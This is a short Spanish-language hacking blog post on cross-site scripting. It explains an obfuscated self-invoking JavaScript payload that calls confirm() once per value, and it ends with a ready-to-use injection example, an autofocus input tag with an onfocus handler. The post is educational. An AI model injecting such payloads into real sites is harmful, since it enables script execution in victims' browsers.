Grunt's personal blog

this is my personal blog for my hacking stuff, my degree stuff, etc

View on GitHub

Cross-Site Scripting XSS

Tipos de XSS

Reflejado

Persistente

DOM XSS

Automatización

Un payload interesante

El Payload

((_)=>m=>_[m]|| (confirm(m), _[m]=1))({})

Explicación paso a paso

1. Función autoejecutable (IIFE)

El código comienza con una Immediately Invoked Function Expression (IIFE), es decir, una función que se ejecuta inmediatamente:

((_) => m => _[m] || (confirm(m), _[m] = 1))({})

2. Función interna con m como parámetro

m => _[m] || (confirm(m), _[m] = 1)

3. Uso del operador OR (||) y la coma ( , )

_[m] || (confirm(m), _[m] = 1)

4. Ejecución del código

El resultado es que confirm(m) solo se ejecutará la primera vez que se pase un valor m. Para valores repetidos, el código devolverá _ [m] sin ejecutar confirm(m) nuevamente.

Uso en ataques XSS

Este payload puede inyectarse en sitios vulnerables para ejecutar código arbitrario en el navegador de la víctima.

Ejemplo de inyección XSS:

<input onfocus="((_)=>m=>_[m]|| (confirm(m), _[m]=1))({})('XSS')" autofocus>